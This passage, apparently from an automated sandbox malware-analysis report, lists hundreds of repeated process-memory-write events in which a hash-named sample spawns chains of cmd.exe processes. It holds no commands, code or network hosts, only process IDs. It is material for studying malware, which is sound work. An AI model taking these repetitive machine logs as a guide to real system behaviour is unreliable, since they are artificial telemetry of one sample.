1700 240 cmd.exe 1073 PID 240 wrote to memory of 1700 240 cmd.exe 1073 PID 1332 wrote to memory of 2016 1332 81d81a4a1c7d17823e510b3fa647abda0c4508d3811233e9863b5f15e56cd04f.exe 1074 PID 1332 wrote to memory of 2016 1332 81d81a4a1c7d17823e510b3fa647abda0c4508d3811233e9863b5f15e56cd04f.exe 1074 PID 1332 wrote to memory of 2016 1332 81d81a4a1c7d17823e510b3fa647abda0c4508d3811233e9863b5f15e56cd04f.exe 1074 PID 1332 wrote to memory of 2016 1332 81d81a4a1c7d17823e510b3fa647abda0c4508d3811233e9863b5f15e56cd04f.exe 1074 PID 2016 wrote to memory of 1840 2016 cmd.exe 1076 PID 2016 wrote to memory of 1840 2016 cmd.exe 1076 PID 2016 wrote to memory of 1840 2016 cmd.exe 1076 PID 2016 wrote to memory of 1840 2016 cmd.exe 1076 PID 2016 wrote to memory of 1120 2016 cmd.exe 1077 PID 2016 wrote to memory of 1120 2016 cmd.exe 1077 PID 2016 wrote to memory of 1120 2016 cmd.exe 1077 PID 2016 wrote to memory of 1120 2016 cmd.exe 1077 PID 2016 wrote to memory of 1408 2016 cmd.exe 1078 PID 2016 wrote to memory of 1408 2016 cmd.exe 1078 PID 2016 wrote to memory of 1408 2016 cmd.exe 1078 PID 2016 wrote to memory of 1408 2016 cmd.exe 1078 PID 1408 wrote to memory of 1184 1408 cmd.exe 1079 PID 1408 wrote to memory of 1184 1408 cmd.exe 1079 PID 1408 wrote to memory of 1184 1408 cmd.exe 1079 PID 1408 wrote to memory of 1184 1408 cmd.exe 1079 PID 2016 wrote to memory of 224 2016 cmd.exe 1080 PID 2016 wrote to memory of 224 2016 cmd.exe 1080 PID 2016 wrote to memory of 224 2016 cmd.exe 1080 PID 2016 wrote to memory of 224 2016 cmd.exe 1080 PID 1332 wrote to memory of 1168 1332 81d81a4a1c7d17823e510b3fa647abda0c4508d3811233e9863b5f15e56cd04f.exe 1081 PID 1332 wrote to memory of 1168 1332 81d81a4a1c7d17823e510b3fa647abda0c4508d3811233e9863b5f15e56cd04f.exe 1081 PID 1332 wrote to memory of 1168 1332 81d81a4a1c7d17823e510b3fa647abda0c4508d3811233e9863b5f15e56cd04f.exe 1081 PID 1332 wrote to memory of 1168 1332 81d81a4a1c7d17823e510b3fa647abda0c4508d3811233e9863b5f15e56cd04f.exe 1081 PID 1168 wrote to memory of 1788 1168 cmd.exe 1083 PID 1168 wrote to memory of 1788 1168 cmd.exe 1083 PID 1168 wrote to memory of 1788 1168 cmd.exe 1083 PID 1168 wrote to memory of 1788 1168 cmd.exe 1083 PID 1168 wrote to memory of 1540 1168 cmd.exe 1084 PID 1168 wrote to memory of 1540 1168 cmd.exe 1084 PID 1168 wrote to memory of 1540 1168 cmd.exe 1084 PID 1168 wrote to memory of 1540 1168 cmd.exe 1084 PID 1168 wrote to memory of 992 1168 cmd.exe 1085 PID 1168 wrote to memory of 992 1168 cmd.exe 1085 PID 1168 wrote to memory of 992 1168 cmd.exe 1085 PID 1168 wrote to memory of 992 1168 cmd.exe 1085 PID 992 wrote to memory of 904 992 cmd.exe 1086 PID 992 wrote to memory of 904 992 cmd.exe 1086 PID 992 wrote to memory of 904 992 cmd.exe 1086 PID 992 wrote to memory of 904 992 cmd.exe 1086 PID 1168 wrote to memory of 1052 1168 cmd.exe 1087 PID 1168 wrote to memory of 1052 1168 cmd.exe 1087 PID 1168 wrote to memory of 1052 1168 cmd.exe 1087 PID 1168 wrote to memory of 1052 1168 cmd.exe 1087 PID 1332 wrote to memory of 832 1332 81d81a4a1c7d17823e510b3fa647abda0c4508d3811233e9863b5f15e56cd04f.exe 1088 PID 1332 wrote to memory of 832 1332 81d81a4a1c7d17823e510b3fa647abda0c4508d3811233e9863b5f15e56cd04f.exe 1088 PID 1332 wrote to memory of 832 1332 81d81a4a1c7d17823e510b3fa647abda0c4508d3811233e9863b5f15e56cd04f.exe 1088 PID 1332 wrote to memory of 832 1332 81d81a4a1c7d17823e510b3fa647abda0c4508d3811233e9863b5f15e56cd04f.exe 1088 PID 832 wrote to memory of 1524 832 cmd.exe 1090 PID 832 wrote to memory of 1524 832 cmd.exe 1090 PID 832 wrote to memory of 1524 832 cmd.exe 1090 PID 832 wrote to memory of 1524 832 cmd.exe 1090 PID 832 wrote to memory of 1212 832 cmd.exe 1091 PID 832 wrote to memory of 1212 832 cmd.exe 1091 PID 832 wrote to memory of 1212 832 cmd.exe 1091 PID 832 wrote to memory of 1212 832 cmd.exe 1091 PID 832 wrote to memory of 1884 832 cmd.exe 1092 PID 832 wrote to memory of 1884 832 cmd.exe 1092 PID 832 wrote to memory of 1884 832 cmd.exe 1092 PID 832 wrote to memory of 1884 832 cmd.exe 1092 PID 1884 wrote to memory of 236 1884 cmd.exe 1093 PID 1884 wrote to memory of 236 1884 cmd.exe 1093 PID 1884 wrote to memory of 236 1884 cmd.exe 1093 PID 1884 wrote to memory of 236 1884 cmd.exe 1093 PID 832 wrote to memory of 1132 832 cmd.exe 1094 PID 832 wrote to memory of 1132 832 cmd.exe 1094 PID 832 wrote to memory of 1132 832 cmd.exe 1094 PID 832 wrote to memory of 1132 832 cmd.exe 1094 PID 1332 wrote to memory of 1452 1332 81d81a4a1c7d17823e510b3fa647abda0c4508d3811233e9863b5f15e56cd04f.exe 1095 PID 1332 wrote to memory of 1452 1332 81d81a4a1c7d17823e510b3fa647abda0c4508d3811233e9863b5f15e56cd04f.exe 1095 PID 1332 wrote to memory of 1452 1332 81d81a4a1c7d17823e510b3fa647abda0c4508d3811233e9863b5f15e56cd04f.exe 1095 PID 1332 wrote to memory of 1452 1332 81d81a4a1c7d17823e510b3fa647abda0c4508d3811233e9863b5f15e56cd04f.exe 1095 PID 1452 wrote to memory of 1888 1452 cmd.exe 1097 PID 1452 wrote to memory of 1888 1452 cmd.exe 1097 PID 1452 wrote to memory of 1888 1452 cmd.exe 1097 PID 1452 wrote to memory of 1888 1452 cmd.exe 1097 PID 1452 wrote to memory of 1644 1452 cmd.exe 1098 PID 1452 wrote to memory of 1644 1452 cmd.exe 1098 PID 1452 wrote to memory of 1644 1452 cmd.exe 1098 PID 1452 wrote to memory of 1644 1452 cmd.exe 1098 PID 1452 wrote to memory of 1444 1452 cmd.exe 1099 PID 1452 wrote to memory of 1444 1452 cmd.exe 1099 PID 1452 wrote to memory of 1444 1452 cmd.exe 1099 PID 1452 wrote to memory of 1444 1452 cmd.exe 1099 PID 1444 wrote to memory of 1040 1444 cmd.exe 1100 PID 1444 wrote to memory of 1040 1444 cmd.exe 1100 PID 1444 wrote to memory of 1040 1444 cmd.exe 1100 PID 1444 wrote to memory of 1040 1444 cmd.exe 1100 PID 1452 wrote to memory of 1928 1452 cmd.exe 1101 PID 1452 wrote to memory of 1928 1452 cmd.exe 1101 PID 1452 wrote to memory of 1928 1452 cmd.exe 1101 PID 1452 wrote to memory of 1928 1452 cmd.exe 1101 PID 1332 wrote to memory of 928 1332 81d81a4a1c7d17823e510b3fa647abda0c4508d3811233e9863b5f15e56cd04f.exe 1102 PID 1332 wrote to memory of 928 1332 81d81a4a1c7d17823e510b3fa647abda0c4508d3811233e9863b5f15e56cd04f.exe 1102 PID 1332 wrote to memory of 928 1332 81d81a4a1c7d17823e510b3fa647abda0c4508d3811233e9863b5f15e56cd04f.exe 1102 PID 1332 wrote to memory of 928 1332 81d81a4a1c7d17823e510b3fa647abda0c4508d3811233e9863b5f15e56cd04f.exe 1102 PID 928 wrote to memory of 1540 928 cmd.exe 1104 PID 928 wrote to memory of 1540 928 cmd.exe 1104 PID 928 wrote to memory of 1540 928 cmd.exe 1104 PID 928 wrote to memory of 1540 928 cmd.exe 1104 PID 928 wrote to memory of 1548 928 cmd.exe 1105 PID 928 wrote to memory of 1548 928 cmd.exe 1105 PID 928 wrote to memory of 1548 928 cmd.exe 1105 PID 928 wrote to memory of 1548 928 cmd.exe 1105 PID 928 wrote to memory of 992 928 cmd.exe 1106 PID 928 wrote to memory of 992 928 cmd.exe 1106 PID 928 wrote to memory of 992 928 cmd.exe 1106 PID 928 wrote to memory of 992 928 cmd.exe 1106 PID 992 wrote to memory of 336 992 cmd.exe 1107 PID 992 wrote to memory of 336 992 cmd.exe 1107 PID 992 wrote to memory of 336 992 cmd.exe 1107 PID 992 wrote to memory of 336 992 cmd.exe 1107 PID 928 wrote to memory of 2000 928 cmd.exe 1108 PID 928 wrote to memory of 2000 928 cmd.exe 1108 PID 928 wrote to memory of 2000 928 cmd.exe 1108 PID 928 wrote to memory of 2000 928 cmd.exe 1108 PID 1332 wrote to memory of 1940 1332 81d81a4a1c7d17823e510b3fa647abda0c4508d3811233e9863b5f15e56cd04f.exe 1109 PID 1332 wrote to memory of 1940 1332 81d81a4a1c7d17823e510b3fa647abda0c4508d3811233e9863b5f15e56cd04f.exe 1109 PID 1332 wrote to memory of 1940 1332 81d81a4a1c7d17823e510b3fa647abda0c4508d3811233e9863b5f15e56cd04f.exe 1109 PID 1332 wrote to memory of 1940 1332 81d81a4a1c7d17823e510b3fa647abda0c4508d3811233e9863b5f15e56cd04f.exe 1109 PID 1940 wrote to memory of 1212 1940 cmd.exe 1111 PID 1940 wrote to memory of 1212 1940 cmd.exe 1111 PID 1940 wrote to memory of 1212 1940 cmd.exe 1111 PID 1940 wrote to memory of 1212 1940 cmd.exe 1111 PID 1940 wrote to memory of 1840 1940 cmd.exe 1112 PID 1940 wrote to memory of 1840 1940 cmd.exe 1112 PID 1940 wrote to memory of 1840 1940 cmd.exe 1112 PID 1940 wrote to memory of 1840 1940 cmd.exe 1112 PID 1940 wrote to memory of 1884 1940 cmd.exe 1113 PID 1940 wrote to memory of 1884 1940 cmd.exe 1113 PID 1940 wrote to memory of 1884 1940 cmd.exe 1113 PID 1940 wrote to memory of 1884 1940 cmd.exe 1113 PID 1884 wrote to memory of 1716 1884 cmd.exe 1114 PID 1884 wrote to memory of 1716 1884 cmd.exe 1114 PID 1884 wrote to memory of 1716 1884 cmd.exe 1114 PID 1884 wrote to memory of 1716 1884 cmd.exe 1114 PID 1940 wrote to memory of 792 1940 cmd.exe 1115 PID 1940 wrote to memory of 792 1940 cmd.exe 1115 PID 1940 wrote to memory of 792 1940 cmd.exe 1115 PID 1940 wrote to memory of 792 1940 cmd.exe 1115 PID 1332 wrote to memory of 2028 1332 81d81a4a1c7d17823e510b3fa647abda0c4508d3811233e9863b5f15e56cd04f.exe 1116 PID 1332 wrote to memory of 2028 1332 81d81a4a1c7d17823e510b3fa647abda0c4508d3811233e9863b5f15e56cd04f.exe 1116 PID 1332 wrote to memory of 2028 1332 81d81a4a1c7d17823e510b3fa647abda0c4508d3811233e9863b5f15e56cd04f.exe 1116 PID 1332 wrote to memory of 2028 1332 81d81a4a1c7d17823e510b3fa647abda0c4508d3811233e9863b5f15e56cd04f.exe 1116 PID 2028 wrote to memory of 1012 2028 cmd.exe 1118 PID 2028 wrote to memory of 1012 2028 cmd.exe 1118 PID 2028 wrote to memory of 1012 2028 cmd.exe 1118 PID 2028 wrote to memory of 1012 2028 cmd.exe 1118 PID 2028 wrote to memory of 1040 2028 cmd.exe 1119 PID 2028 wrote to memory of 1040 2028 cmd.exe 1119 PID 2028 wrote to memory of 1040 2028 cmd.exe 1119 PID 2028 wrote to memory of 1040 2028 cmd.exe 1119 PID 2028 wrote to memory of 1364 2028 cmd.exe 1120 PID 2028 wrote to memory of 1364 2028 cmd.exe 1120 PID 2028 wrote to memory of 1364 2028 cmd.exe 1120 PID 2028 wrote to memory of 1364 2028 cmd.exe 1120 PID 1364 wrote to memory of 212 1364 cmd.exe 1121 PID 1364 wrote to memory of 212 1364 cmd.exe 1121 PID 1364 wrote to memory of 212 1364 cmd.exe 1121 PID 1364 wrote to memory of 212 1364 cmd.exe 1121 PID 2028 wrote to memory of 1452 2028 cmd.exe 1122 PID 2028 wrote to memory of 1452 2028 cmd.exe 1122 PID 2028 wrote to memory of 1452 2028 cmd.exe 1122 PID 2028 wrote to memory of 1452 2028 cmd.exe 1122 PID 1332 wrote to memory of 1328 1332 81d81a4a1c7d17823e510b3fa647abda0c4508d3811233e9863b5f15e56cd04f.exe 1123 PID 1332 wrote to memory of 1328 1332 81d81a4a1c7d17823e510b3fa647abda0c4508d3811233e9863b5f15e56cd04f.exe 1123 PID 1332 wrote to memory of 1328 1332 81d81a4a1c7d17823e510b3fa647abda0c4508d3811233e9863b5f15e56cd04f.exe 1123 PID 1332 wrote to memory of 1328 1332 81d81a4a1c7d17823e510b3fa647abda0c4508d3811233e9863b5f15e56cd04f.exe 1123 PID 1328 wrote to memory of 1780 1328 cmd.exe 1125 PID 1328 wrote to memory of 1780 1328 cmd.exe 1125 PID 1328 wrote to memory of 1780 1328 cmd.exe 1125 PID 1328 wrote to memory of 1780 1328 cmd.exe 1125 PID 1328 wrote to memory of 428 1328 cmd.exe 1126 PID 1328 wrote to memory of 428 1328 cmd.exe 1126 PID 1328 wrote to memory of 428 1328 cmd.exe 1126 PID 1328 wrote to memory of 428 1328 cmd.exe 1126 PID 1328 wrote to memory of 992 1328 cmd.exe 1127 PID 1328 wrote to memory of 992 1328 cmd.exe 1127 PID 1328 wrote to memory of 992 1328 cmd.exe 1127 PID 1328 wrote to memory of 992 1328 cmd.exe 1127 PID 992 wrote to memory of 2000 992 cmd.exe 1128 PID 992 wrote to memory of 2000 992 cmd.exe 1128 PID 992 wrote to memory of 2000 992 cmd.exe 1128 PID 992 wrote to memory of 2000 992 cmd.exe 1128 PID 1328 wrote to memory of 2008 1328 cmd.exe 1129 PID 1328 wrote to memory of 2008 1328 cmd.exe 1129 PID 1328 wrote to memory of 2008 1328 cmd.exe 1129 PID 1328 wrote to memory of 2008 1328 cmd.exe 1129 PID 1332 wrote to memory of 760 1332 81d81a4a1c7d17823e510b3fa647abda0c4508d3811233e9863b5f15e56cd04f.exe 1130 PID 1332 wrote to memory of 760 1332 81d81a4a1c7d17823e510b3fa647abda0c4508d3811233e9863b5f15e56cd04f.exe 1130 PID 1332 wrote to memory of 760 1332 81d81a4a1c7d17823e510b3fa647abda0c4508d3811233e9863b5f15e56cd04f.exe 1130 PID 1332 wrote to memory of 760 1332 81d81a4a1c7d17823e510b3fa647abda0c4508d3811233e9863b5f15e56cd04f.exe 1130 PID 760 wrote to memory of 1840 760 cmd.exe 1132 PID 760 wrote to memory of 1840 760 cmd.exe 1132 PID 760 wrote to memory of 1840 760 cmd.exe 1132 PID 760 wrote to memory of 1840 760 cmd.exe 1132 PID 760 wrote to memory of 1132 760 cmd.exe 1133 PID 760 wrote to memory of 1132 760 cmd.exe 1133 PID 760 wrote to memory of 1132 760 cmd.exe 1133 PID 760 wrote to memory of 1132 760 cmd.exe 1133 PID 760 wrote to memory of 940 760 cmd.exe 1134 PID 760 wrote to memory of 940 760 cmd.exe 1134 PID 760 wrote to memory of 940 760 cmd.exe 1134 PID 760 wrote to memory of 940 760 cmd.exe 1134 PID 940 wrote to memory of 1068 940 cmd.exe 1135 PID 940 wrote to memory of 1068 940 cmd.exe 1135 PID 940 wrote to memory of 1068 940 cmd.exe 1135 PID 940 wrote to memory of 1068 940 cmd.exe 1135 PID 760 wrote to memory of 240 760 cmd.exe 1136 PID 760 wrote to memory of 240 760 cmd.exe 1136 PID 760 wrote to memory of 240 760 cmd.exe 1136 PID 760 wrote to memory of 240 760 cmd.exe 1136 PID 1332 wrote to memory of 856 1332 81d81a4a1c7d17823e510b3fa647abda0c4508d3811233e9863b5f15e56cd04f.exe 1137 PID 1332 wrote to memory of 856 1332 81d81a4a1c7d17823e510b3fa647abda0c4508d3811233e9863b5f15e56cd04f.exe 1137 PID 1332 wrote to memory of 856 1332 81d81a4a1c7d17823e510b3fa647abda0c4508d3811233e9863b5f15e56cd04f.exe 1137 PID 1332 wrote to memory of 856 1332 81d81a4a1c7d17823e510b3fa647abda0c4508d3811233e9863b5f15e56cd04f.exe 1137 PID 856 wrote to memory of 1040 856 cmd.exe 1139 PID 856 wrote to memory of 1040 856 cmd.exe 1139 PID 856 wrote to memory of 1040 856 cmd.exe 1139 PID 856 wrote to memory of 1040 856 cmd.exe 1139 PID 856 wrote to memory of 844 856 cmd.exe 1140 PID 856 wrote to memory of 844 856 cmd.exe 1140 PID 856 wrote to memory of 844 856 cmd.exe 1140 PID 856 wrote to memory of 844 856 cmd.exe 1140 PID 856 wrote to memory of 1056 856 cmd.exe 1141 PID 856 wrote to memory of 1056 856 cmd.exe 1141 PID 856 wrote to memory of 1056 856 cmd.exe 1141 PID 856 wrote to memory of 1056 856 cmd.exe 1141 PID 1056 wrote to memory of 872 1056 cmd.exe 1142 PID 1056 wrote to memory of 872 1056 cmd.exe 1142 PID 1056 wrote to memory of 872 1056 cmd.exe 1142 PID 1056 wrote to memory of 872 1056 cmd.exe 1142 PID 856 wrote to memory of 1960 856 cmd.exe 1143 PID 856 wrote to memory of 1960 856 cmd.exe 1143 PID 856 wrote to memory of 1960 856 cmd.exe 1143 PID 856 wrote to memory of 1960 856 cmd.exe 1143 PID 1332 wrote to memory of 1372 1332 81d81a4a1c7d17823e510b3fa647abda0c4508d3811233e9863b5f15e56cd04f.exe 1144 PID 1332 wrote to memory of 1372 1332 81d81a4a1c7d17823e510b3fa647abda0c4508d3811233e9863b5f15e56cd04f.exe 1144 PID 1332 wrote to memory of 1372 1332 81d81a4a1c7d17823e510b3fa647abda0c4508d3811233e9863b5f15e56cd04f.exe 1144 PID 1332 wrote to memory of 1372 1332 81d81a4a1c7d17823e510b3fa647abda0c4508d3811233e9863b5f15e56cd04f.exe 1144 PID 1372 wrote to memory of 1168 1372 cmd.exe 1146 PID 1372 wrote to memory of 1168 1372 cmd.exe 1146 PID 1372 wrote to memory of 1168 1372 cmd.exe 1146 PID 1372 wrote to memory of 1168 1372 cmd.exe 1146 PID 1372 wrote to memory of 1096 1372 cmd.exe 1147 PID 1372 wrote to memory of 1096 1372 cmd.exe 1147 PID 1372 wrote to memory of 1096 1372 cmd.exe 1147 PID 1372 wrote to memory of 1096 1372 cmd.exe 1147 PID 1372 wrote to memory of 616 1372 cmd.exe 1148 PID 1372 wrote to memory of 616 1372 cmd.exe 1148 PID 1372 wrote to memory of 616 1372 cmd.exe 1148 PID 1372 wrote to memory of 616 1372 cmd.exe 1148 PID 616 wrote to memory of 552 616 cmd.exe 1149 PID 616 wrote to memory of 552 616 cmd.exe 1149 PID 616 wrote to memory of 552 616 cmd.exe 1149 PID 616 wrote to memory of 552 616 cmd.exe 1149 PID 1372 wrote to memory of 904 1372 cmd.exe 1150 PID 1372 wrote to memory of 904 1372 cmd.exe 1150 PID 1372 wrote to memory of 904 1372 cmd.exe 1150 PID 1372 wrote to memory of 904 1372 cmd.exe 1150 PID 1332 wrote to memory of 1120 1332 81d81a4a1c7d17823e510b3fa647abda0c4508d3811233e9863b5f15e56cd04f.exe 1151 PID 1332 wrote to memory of 1120 1332 81d81a4a1c7d17823e510b3fa647abda0c4508d3811233e9863b5f15e56cd04f.exe 1151 PID 1332 wrote to memory of 1120 1332 81d81a4a1c7d17823e510b3fa647abda0c4508d3811233e9863b5f15e56cd04f.exe 1151 PID 1332 wrote to memory of 1120 1332 81d81a4a1c7d17823e510b3fa647abda0c4508d3811233e9863b5f15e56cd04f.exe 1151 PID 1120 wrote to memory of 228 1120 cmd.exe 1153 PID 1120 wrote to memory of 228 1120 cmd.exe 1153 PID 1120 wrote to memory of 228 1120 cmd.exe 1153 PID 1120 wrote to memory of 228 1120 cmd.exe 1153 PID 1120 wrote to memory of 1068 1120 cmd.exe 1154 PID 1120 wrote to memory of 1068 1120 cmd.exe 1154 PID 1120 wrote to memory of 1068 1120 cmd.exe 1154 PID 1120 wrote to memory of 1068 1120 cmd.exe 1154 PID 1120 wrote to memory of 624 1120 cmd.exe 1155 PID 1120 wrote to memory of 624 1120 cmd.exe 1155 PID 1120 wrote to memory of 624 1120 cmd.exe 1155 PID 1120 wrote to memory of 624 1120 cmd.exe 1155 PID 624 wrote to memory of 240 624 cmd.exe 1156 PID 624 wrote to memory of 240 624 cmd.exe 1156 PID 624 wrote to memory of 240 624 cmd.exe 1156 PID 624 wrote to memory of 240 624 cmd.exe 1156 PID 1120 wrote to memory of 1212 1120 cmd.exe 1157 PID 1120 wrote to memory of 1212 1120 cmd.exe 1157 PID 1120 wrote to memory of 1212 1120 cmd.exe 1157 PID 1120 wrote to memory of 1212 1120 cmd.exe 1157 PID 1332 wrote to memory of 1928 1332 81d81a4a1c7d17823e510b3fa647abda0c4508d3811233e9863b5f15e56cd04f.exe 1158 PID 1332 wrote to memory of 1928 1332 81d81a4a1c7d17823e510b3fa647abda0c4508d3811233e9863b5f15e56cd04f.exe 1158 PID 1332 wrote to memory of 1928 1332 81d81a4a1c7d17823e510b3fa647abda0c4508d3811233e9863b5f15e56cd04f.exe 1158 PID 1332 wrote to memory of 1928 1332 81d81a4a1c7d17823e510b3fa647abda0c4508d3811233e9863b5f15e56cd04f.exe 1158 PID 1928 wrote to memory of 1644 1928 cmd.exe 1160 PID 1928 wrote to memory of 1644 1928 cmd.exe 1160 PID 1928 wrote to memory of 1644 1928 cmd.exe 1160 PID 1928 wrote to memory of 1644 1928 cmd.exe 1160 PID 1928 wrote to memory of 872 1928 cmd.exe 1161 PID 1928 wrote to memory of 872 1928 cmd.exe 1161 PID 1928 wrote to memory of 872 1928 cmd.exe 1161 PID 1928 wrote to memory of 872 1928 cmd.exe 1161 PID 1928 wrote to memory of 952 1928 cmd.exe 1162 PID 1928 wrote to memory of 952 1928 cmd.exe 1162 PID 1928 wrote to memory of 952 1928 cmd.exe 1162 PID 1928 wrote to memory of 952 1928 cmd.exe 1162 PID 952 wrote to memory of 1888 952 cmd.exe 1163 PID 952 wrote to memory of 1888 952 cmd.exe 1163 PID 952 wrote to memory of 1888 952 cmd.exe 1163 PID 952 wrote to memory of 1888 952 cmd.exe 1163 PID 1928 wrote to memory of 1444 1928 cmd.exe 1164 PID 1928 wrote to memory of 1444 1928 cmd.exe 1164 PID 1928 wrote to memory of 1444 1928 cmd.exe 1164 PID 1928 wrote to memory of 1444 1928 cmd.exe 1164 PID 1332 wrote to memory of 948 1332 81d81a4a1c7d17823e510b3fa647abda0c4508d3811233e9863b5f15e56cd04f.exe 1165 PID 1332 wrote to memory of 948 1332 81d81a4a1c7d17823e510b3fa647abda0c4508d3811233e9863b5f15e56cd04f.exe 1165 PID 1332 wrote to memory of 948 1332 81d81a4a1c7d17823e510b3fa647abda0c4508d3811233e9863b5f15e56cd04f.exe 1165 PID 1332 wrote to memory of 948 1332 81d81a4a1c7d17823e510b3fa647abda0c4508d3811233e9863b5f15e56cd04f.exe 1165 PID 948 wrote to memory of 1524 948 cmd.exe 1167 PID 948 wrote to memory of 1524 948 cmd.exe 1167 PID 948 wrote to memory of 1524 948 cmd.exe 1167 PID 948 wrote to memory of 1524 948 cmd.exe 1167 PID 948 wrote to memory of 2008 948 cmd.exe 1168 PID 948 wrote to memory of 2008 948 cmd.exe 1168 PID 948 wrote to memory of 2008 948 cmd.exe 1168 PID 948 wrote to memory of 2008 948 cmd.exe 1168 PID 948 wrote to memory of 1100 948 cmd.exe 1169 PID 948 wrote to memory of 1100 948 cmd.exe 1169 PID 948 wrote to memory of 1100 948 cmd.exe 1169 PID 948 wrote to memory of 1100 948 cmd.exe 1169 PID 1100 wrote to memory of 904 1100 cmd.exe 1170 PID 1100 wrote to memory of 904 1100 cmd.exe 1170 PID 1100 wrote to memory of 904 1100 cmd.exe 1170 PID 1100 wrote to memory of 904 1100 cmd.exe 1170 PID 948 wrote to memory of 1780 948 cmd.exe 1171 PID 948 wrote to memory of 1780 948 cmd.exe 1171 PID 948 wrote to memory of 1780 948 cmd.exe 1171 PID 948 wrote to memory of 1780 948 cmd.exe 1171 PID 1332 wrote to memory of 1308 1332 81d81a4a1c7d17823e510b3fa647abda0c4508d3811233e9863b5f15e56cd04f.exe 1172 PID 1332 wrote to memory of 1308 1332 81d81a4a1c7d17823e510b3fa647abda0c4508d3811233e9863b5f15e56cd04f.exe 1172 PID 1332 wrote to memory of 1308 1332 81d81a4a1c7d17823e510b3fa647abda0c4508d3811233e9863b5f15e56cd04f.exe 1172 PID 1332 wrote to memory of 1308 1332 81d81a4a1c7d17823e510b3fa647abda0c4508d3811233e9863b5f15e56cd04f.exe 1172 PID 1308 wrote to memory of 1700 1308 cmd.exe 1174 PID 1308 wrote to memory of 1700 1308 cmd.exe 1174 PID 1308 wrote to memory of 1700 1308 cmd.exe 1174 PID 1308 wrote to memory of 1700 1308 cmd.exe 1174 PID 1308 wrote to memory of 1940 1308 cmd.exe 1175 PID 1308 wrote to memory of 1940 1308 cmd.exe 1175 PID 1308 wrote to memory of 1940 1308 cmd.exe 1175 PID 1308 wrote to memory of 1940 1308 cmd.exe 1175 PID 1308 wrote to memory of 224 1308 cmd.exe 1176 PID 1308 wrote to memory of 224 1308 cmd.exe 1176 PID 1308 wrote to memory of 224 1308 cmd.exe 1176 PID 1308 wrote to memory of 224 1308 cmd.exe 1176 PID 224 wrote to memory of 1408 224 cmd.exe 1177 PID 224 wrote to memory of 1408 224 cmd.exe 1177 PID 224 wrote to memory of 1408 224 cmd.exe 1177 PID 224 wrote to memory of 1408 224 cmd.exe 1177 PID 1308 wrote to memory of 1132 1308 cmd.exe 1178 PID 1308 wrote to memory of 1132 1308 cmd.exe 1178 PID 1308 wrote to memory of 1132 1308 cmd.exe 1178 PID 1308 wrote to memory of 1132 1308 cmd.exe 1178 PID 1332 wrote to memory of 2028 1332 81d81a4a1c7d17823e510b3fa647abda0c4508d3811233e9863b5f15e56cd04f.exe 1179 PID 1332 wrote to memory of 2028 1332 81d81a4a1c7d17823e510b3fa647abda0c4508d3811233e9863b5f15e56cd04f.exe 1179 PID 1332 wrote to memory of 2028 1332 81d81a4a1c7d17823e510b3fa647abda0c4508d3811233e9863b5f15e56cd04f.exe 1179 PID 1332 wrote to memory of 2028 1332 81d81a4a1c7d17823e510b3fa647abda0c4508d3811233e9863b5f15e56cd04f.exe 1179 PID 2028 wrote to memory of 1972 2028 cmd.exe 1181 PID 2028 wrote to memory of 1972 2028 cmd.exe 1181 PID 2028 wrote to memory of 1972 2028 cmd.exe 1181 PID 2028 wrote to memory of 1972 2028 cmd.exe 1181 PID 2028 wrote to memory of 1888 2028 cmd.exe 1182 PID 2028 wrote to memory of 1888 2028 cmd.exe 1182 PID 2028 wrote to memory of 1888 2028 cmd.exe 1182 PID 2028 wrote to memory of 1888 2028 cmd.exe 1182 PID 2028 wrote to memory of 1052 2028 cmd.exe 1183 PID 2028 wrote to memory of 1052 2028 cmd.exe 1183 PID 2028 wrote to memory of 1052 2028 cmd.exe 1183 PID 2028 wrote to memory of 1052 2028 cmd.exe 1183 PID 1052 wrote to memory of 764 1052 cmd.exe 1184 PID 1052 wrote to memory of 764 1052 cmd.exe 1184 PID 1052 wrote to memory of 764 1052 cmd.exe 1184 PID 1052 wrote to memory of 764 1052 cmd.exe 1184 PID 2028 wrote to memory of 204 2028 cmd.exe 1185 PID 2028 wrote to memory of 204 2028 cmd.exe 1185 PID 2028 wrote to memory of 204 2028 cmd.exe 1185 PID 2028 wrote to memory of 204 2028 cmd.exe 1185 PID 1332 wrote to memory of 2044 1332 81d81a4a1c7d17823e510b3fa647abda0c4508d3811233e9863b5f15e56cd04f.exe 1186 PID 1332 wrote to memory of 2044 1332 81d81a4a1c7d17823e510b3fa647abda0c4508d3811233e9863b5f15e56cd04f.exe 1186 PID 1332 wrote to memory of 2044 1332 81d81a4a1c7d17823e510b3fa647abda0c4508d3811233e9863b5f15e56cd04f.exe 1186 PID 1332 wrote to memory of 2044 1332 81d81a4a1c7d17823e510b3fa647abda0c4508d3811233e9863b5f15e56cd04f.exe 1186 PID 2044 wrote to memory of 732 2044 cmd.exe 1188 PID 2044 wrote to memory of 732 2044 cmd.exe 1188 PID 2044 wrote to memory of 732 2044 cmd.exe 1188 PID 2044 wrote to memory of 732 2044 cmd.exe 1188 PID 2044 wrote to memory of 904 2044 cmd.exe 1189 PID 2044 wrote to memory of 904 2044 cmd.exe 1189 PID 2044 wrote to memory of 904 2044 cmd.exe 1189 PID 2044 wrote to memory of 904 2044 cmd.exe 1189 PID 2044 wrote to memory of 1716 2044 cmd.exe 1190 PID 2044 wrote to memory of 1716 2044 cmd.exe 1190 PID 2044 wrote to memory of 1716 2044 cmd.exe 1190 PID 2044 wrote to memory of 1716 2044 cmd.exe 1190 PID 1716 wrote to memory of 1780 1716 cmd.exe 1191 PID 1716 wrote to memory of 1780 1716 cmd.exe 1191 PID 1716 wrote to memory of 1780 1716 cmd.exe 1191 PID 1716 wrote to memory of 1780 1716 cmd.exe 1191 PID 2044 wrote to memory of 948 2044 cmd.exe 1192 PID 2044 wrote to memory of 948 2044 cmd.exe 1192 PID 2044 wrote to memory of 948 2044 cmd.exe 1192 PID 2044 wrote to memory of 948 2044 cmd.exe 1192 PID 1332 wrote to memory of 1004 1332 81d81a4a1c7d17823e510b3fa647abda0c4508d3811233e9863b5f15e56cd04f.exe 1193 PID 1332 wrote to memory of 1004 1332 81d81a4a1c7d17823e510b3fa647abda0c4508d3811233e9863b5f15e56cd04f.exe 1193 PID 1332 wrote to memory of 1004 1332 81d81a4a1c7d17823e510b3fa647abda0c4508d3811233e9863b5f15e56cd04f.exe 1193 PID 1332 wrote to memory of 1004 1332 81d81a4a1c7d17823e510b3fa647abda0c4508d3811233e9863b5f15e56cd04f.exe 1193 PID 1004 wrote to memory of 548 1004 cmd.exe 1195 PID 1004 wrote to memory of 548 1004 cmd.exe 1195 PID 1004 wrote to memory of 548 1004 cmd.exe 1195 PID 1004 wrote to memory of 548 1004 cmd.exe 1195 PID 1004 wrote to memory of 1408 1004 cmd.exe 1196 PID 